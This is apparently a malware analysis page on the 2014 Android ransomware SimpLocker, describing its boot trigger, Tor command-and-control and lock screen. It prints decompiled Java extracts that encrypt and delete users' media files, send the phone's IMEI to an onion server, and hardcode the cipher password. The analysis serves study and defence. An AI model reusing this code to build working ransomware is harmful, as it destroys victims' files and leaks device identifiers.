SimpLocker

2014-06-19

Summary

Ransom, data encryption and phone locking

GroDDViewer graphs:

Details

Simplelocker is a ransomware discovered in 2014. It encrypts user’s multimedia files stored in the SD card. The original files are deleted and the malware asks a ransom to decrypt the files. Our sample displays instructions in Russian. Simplelocker communicates with a server hidden behind a Tor network to receive orders, for example the payment confirmation.

Simplelocker relies on the execution of three main independent processes. First, rg.simplelocker runs the graphical interface, the main service and the different repetitive tasks. Second, libprivoxy.so and tor and are two processes that give access to the Tor network.

Stage 1: Malicious code execution

SimpleLocker waits for the BOOT_COMPLETED intent. When it occurs, it starts a service located in the MainService class. Starting the main activity with the launcher also starts the service. The service takes a WakeLock on the phone in order to get the device running the malware even if the screen goes off. Then, it schedules two repetitive task executors (MainService$3 and MainService$4) and launches a new thread (MainService$5). All these jobs are executed in the main process rg.simplelocker.

Stage 2: Communication with a remote server through Tor

A task executor MainService$3, that is launched every 180 seconds, sends an intent TOR_SERVICE to start the TorService class. If Tor is already up, the TorSender class is called to send the IMEI of the phone using the service. The TorService class is a huge class that setups linux executables that correspond to the libprivoxy.so and tor processes. The java code executes shell commands to copy and give executable permission to the files libprivoxy.so and libtor.so that come from the APK. The process is executed calling:

final String[] array = { String.valueOf(this.filePrivoxy.getAbsolutePath())
     + " " + new File(this.appBinHome, "privoxy.config").getAbsolutePath() + " &" };
TorServiceUtils.doShellCommand(array, sb, false, false);


The libprivoxy.so process listens for HTTP requests on the port 9050. It is an HTTP proxy that filters and cleans the request generated and received by the tor client.

Stage 3: User’s data encryption

In the thread MainService$5, the malware encrypts all the multimedia files and deletes the original ones:

for (final String s : this.filesToEncrypt) {
  aesCrypt.encrypt(s, String.valueOf(s) + ".enc");
  new File(s).delete();
}


The used algorithm is AES in CBC mode with PKCS#7 padding. The encryption key is constant, written in the code. Thus, we were able to generate a modified version of this malware where we have forced the decryption of the files.

The repetitive task MainService$4, checks in the SharedPreferences the value DISABLE_LOCKER that informs the malware that it should shut down in case the victim has paid. If not, it restarts the Main activity that displays in fullscreen a Russian message informing the user that its files have been encrypted and asking for a ransom.

Other resources

Triggering

To trigger the malware, launch the application or reboot the device.

Caracteristics

Malware type :

  • Ransomware

Attacks :

  •   Confidentiality

  •   Integrity

  •   Availability

  •   Normal use

Infection technique : Standalone application

Malicious code type :

  • Use Java code
  • Use native code

Hidding techniques :

  • Not hidden

Triggering techniques :

  • Executed at launch
  • Waits for a particular intent

Samples

Java source code extracts:

MainService.java is the service started when the application is launched or the phone rebooted.
MainService4.java is the repetitive task executed every 1 second in order to check if the ransom has been paid.
TorSender.java is the class used in the repetitive task MainService$3 in order to contact the C&C server.
HttpSender.java is the class that manages the requests and responses of the C&C server.
encrypt.java is the function used by the thread MainService$5 in order to encrypt user's files.
AesCrypt.java is the class that configures and executes the cipher algorithm.
Constants.java is the class that contains constant strings and values used by the malware.

MainService.java

// in file org/simplelocker/MainService.java

public void onCreate() {

	//Taking a WakeLock
	(this.wakeLock = ((PowerManager)this.getSystemService("power")).newWakeLock(1, "WakeLock")).acquire();

	this.context = (Context)this;
	MainService.isRunning = true;
	this.settings = this.getSharedPreferences("AppPrefs", 0);
	super.onCreate();

	final ScheduledExecutorService singleThreadScheduledExecutor = Executors.newSingleThreadScheduledExecutor();
	
	//Scheduling MainService$3 and MainService$4
	singleThreadScheduledExecutor.scheduleAtFixedRate((Runnable)new MainService.MainService$3(this), 0L, 180L, TimeUnit.SECONDS);
	singleThreadScheduledExecutor.scheduleAtFixedRate((Runnable)new MainService.MainService$4(this), 1L, 1L, TimeUnit.SECONDS);

	//Starting the thread MainService$5 (files encryption)
	new Thread((Runnable)new MainService.MainService$5(this)).start();
}

MainService4.java

// in file org/simplelocker/MainService$4.java

class MainService$4 implements Runnable {

	@Override
	public void run() {

		//Checking the value of "DISABLE_LOCKER" and if the Main activity is currently running
		if (!MainService.access$8(this.this$0).getBoolean("DISABLE_LOCKER", false) && !Main.isRunning) {

			final Intent intent = new Intent((Context)this.this$0, (Class)Main.class);
			intent.addFlags(268435456);
			intent.addFlags(131072);

			//Starting the activity (blocking the screen and asking for a ransom)
			this.this$0.startActivity(intent);
		}
	}
}

TorSender.java

// in file org/simplelocker/TorSender.java

public class TorSender
{
	public static final String PROXY_HOST = "127.0.0.1";
	public static final int PROXY_HTTP_PORT = 9050;
    
	public static void sendCheck(final Context context) {
		try {
			final JSONObject jsonObject = new JSONObject();
			jsonObject.put("type", (Object)"locker check");
			jsonObject.put("device id", (Object)Utils.getCutIMEI(context)); //Getting the IMEI
			jsonObject.put("client number", (Object)"19");
			new HttpSender(jsonObject.toString(), HttpSender$RequestType.TYPE_CHECK, context).startSending();
		}
		catch (JSONException ex) { ex.printStackTrace(); }
	}
}

HttpSender.java

// in file org/simplelocker/HttpSender.java

public HttpSender(String paramString, RequestType paramRequestType, Context paramContext){
	this.dataToSend = paramString;
	settings = paramContext.getSharedPreferences("AppPrefs", 0);
	this.httpclient = new StrongHttpsClient(paramContext);
	this.httpclient.useProxy(true, "SOCKS", "127.0.0.1", 9050);
	this.context = paramContext;
	this.type = paramRequestType;
}

encrypt.java

// in file org/simplelocker/FilesEncryptor.java

public void encrypt() throws Exception {

	if (!this.settings.getBoolean("FILES_WAS_ENCRYPTED", false) && this.isExternalStorageWritable()) {

		final AesCrypt aesCrypt = new AesCrypt("jndlasf074hr");

		for (final String s : this.filesToEncrypt) {
			aesCrypt.encrypt(s, String.valueOf(s) + ".enc");
			new File(s).delete();
		}

		Utils.putBooleanValue(this.settings, "FILES_WAS_ENCRYPTED", true);
	}
}

AesCrypt.java

// in file org/simplelocker/AesCrypt.java

public AesCrypt(final String s) throws Exception {
	final MessageDigest instance = MessageDigest.getInstance("SHA-256");
	instance.update(s.getBytes("UTF-8"));
	final byte[] key = new byte[32];
	System.arraycopy(instance.digest(), 0, key, 0, key.length);
	this.cipher = Cipher.getInstance("AES/CBC/PKCS7Padding");
	this.key = new SecretKeySpec(key, "AES");
	this.spec = this.getIV();
}

Constants.java

// in file org/simplelocker/Constants.java

public class Constants
{
	public static final String ADMIN_URL = "http://xeyocsu7fu2vjhxs.onion/";
	public static final int CHECK_MAIN_WINDOW_TIME_SECONDS = 1;
	public static final String CIPHER_PASSWORD = "jndlasf074hr";
	public static final String CLIENT_NUMBER = "19";
	public static final String DEBUG_TAG = "DEBUGGING";
	public static final String DISABLE_LOCKER = "DISABLE_LOCKER";
	public static final List<String> EXTENSIONS_TO_ENCRYPT;
	public static final String FILES_WAS_ENCRYPTED = "FILES_WAS_ENCRYPTED";
	public static final int MONEYPACK_DIGITS_NUMBER = 14;
	public static final int PAYSAFECARD_DIGITS_NUMBER = 16;
	public static final int POLLING_TIME_MINUTES = 3;
	public static final String PREFS_NAME = "AppPrefs";
	public static final int UKASH_DIGITS_NUMBER = 19;
    
	static {
		EXTENSIONS_TO_ENCRYPT = Arrays.asList("jpeg", "jpg", "png", "bmp", "gif", "pdf", "doc", 
							"docx", "txt", "avi", "mkv", "3gp", "mp4");
	}
}